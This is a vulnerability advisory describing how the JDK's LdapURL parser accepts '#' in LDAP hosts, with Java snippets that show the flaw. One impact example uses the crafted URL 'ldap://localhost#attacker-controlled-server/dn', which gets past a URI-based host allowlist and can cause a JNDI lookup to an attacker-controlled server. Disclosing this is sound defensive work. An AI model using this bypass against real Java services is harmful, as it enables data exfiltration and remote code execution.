Advisory: https://www.oracle.com/security-alerts/cpuapr2022.html
Authors: Karan Lyons & Anthony Weems
Context
Java’s javax.naming.ldap
library is used for easy interoperation leveraging the
Lightweight Directory Access Protocol (LDAP). This protocol can also be used through
systems like the Java Naming and Directory Interface (JNDI) in order to remotely
retrieve and deserialize Java classes, which allows for Remote Code Execution. This is
by design and intended for legitimate use, but users of JNDI/LDAP/etc. are advised to
be mindful of ensuring that connections are only made to trusted hosts.
Vulnerability
The JDK’s implementation of com.sun.jndi.ldap.LdapURL
does not parse provided URIs
in conformance with RFC 4516 (“Lightweight Directory Access Protocol (LDAP): Uniform
Resource Locator”). Specifically it fails to properly validate that the <host>
of a
given URI contains only the expected IP-literal / IPv4address / reg-name
:
RFC 4516:
<host> and <port> are defined in Sections 3.2.2 and 3.2.3 of [RFC3986].
RFC 3986 (“Uniform Resource Identifier (URI): Generic Syntax”):
host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
pct-encoded = "%" HEXDIG HEXDIG
sub-delims = "!" / "$" / "&" / "'" / "(" / ")"
/ "*" / "+" / "," / ";" / "="
It also is inconsistent with the java.net.URI
, which parses the host
in
conformance with RFC 2396 (“Uniform Resource Identifiers (URI): Generic Syntax”) &
RFC 2732 (“Format for Literal IPv6 Addresses in URLs”):
https://docs.oracle.com/javase/8/docs/api/java/net/URI.html:
Aside from some minor deviations noted below, an instance of this class represents a URI reference as defined by RFC 2396: Uniform Resource Identifiers (URI): Generic Syntax, amended by RFC 2732: Format for Literal IPv6 Addresses in URLs.
RFC 2396:
host = hostname | IPv4address
hostname = *( domainlabel "." ) toplabel [ "." ]
domainlabel = alphanum | alphanum *( alphanum | "-" ) alphanum
toplabel = alpha | alpha *( alphanum | "-" ) alphanum
alphanum = alpha | digit
alpha = lowalpha | upalpha
lowalpha = "a" | "b" | "c" | "d" | "e" | "f" | "g" | "h" | "i" |
"j" | "k" | "l" | "m" | "n" | "o" | "p" | "q" | "r" |
"s" | "t" | "u" | "v" | "w" | "x" | "y" | "z"
upalpha = "A" | "B" | "C" | "D" | "E" | "F" | "G" | "H" | "I" |
"J" | "K" | "L" | "M" | "N" | "O" | "P" | "Q" | "R" |
"S" | "T" | "U" | "V" | "W" | "X" | "Y" | "Z"
digit = "0" | "1" | "2" | "3" | "4" | "5" | "6" | "7" |
"8" | "9"
One of the key deviations is in LdapURL
’s handling of #
within the host
. Per
specification this character is not allowed, and the URI should be considered invalid.
However, this is not what we find:
LdapURL ldapUrl = new LdapURL("ldap://invalid#host:123/dn");
String host = ldapUrl.getHost();
String port = ldapUrl.getPort();
String dn = ldapUrl.getDN();
System.out.format("host=`%s`, port=`%s`, dn=`%s`\n", host, port, dn);
// Prints: "host=`invalid#host`, port=`123`, dn=`dn`"
Impact
This issue has security implications when it comes to validating LDAP URLs before issuing a connection. For example, assume a developer wants to restrict JNDI LDAP lookups to a specific set of trusted hosts. Imagine the following validation logic:
String input = "ldap://localhost#attacker-controlled-server/dn";
URI uri = new URI(input);
if (uri.getHost().equalsIgnoreCase("localhost")) {
Hashtable<String, Object> env = new Hashtable<String, Object>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put("java.naming.ldap.attributes.binary", "objectSID");
env.put(Context.PROVIDER_URL, input);
LdapContext ctx = new InitialLdapContext(env, null);
System.out.println(ctx);
}
// Prints: "javax.naming.ldap.InitialLdapContext@xxxxxxxx"
The above validation using URI
will fail, and depending on the platform DNS resolver
implementation issue a JNDI LDAP lookup to localhost#attacker-controlled-server
. In
our testing, this is true in some resolvers and due to the known attack vectors against JNDI,
could pose a great risk for any Java applications running on macOS or Alpine Linux
that use LDAP.
Dependent on configuration it can result in:
1. A java.net.UnknownHostException
.
2. A DNS lookup to the attacker controlled domain / name server, allowing for DNS
Data Exfiltration.
3. A remote LDAP call made to the attacker controlled server, allowing for
Malicious Remote Code Execution.
Recommendation
We recommend that Java’s LDAP URI parser be made compliant with the specification,
such that attempting to request URIs such as the ones aforementioned will result in a
java.net.URISyntaxException
.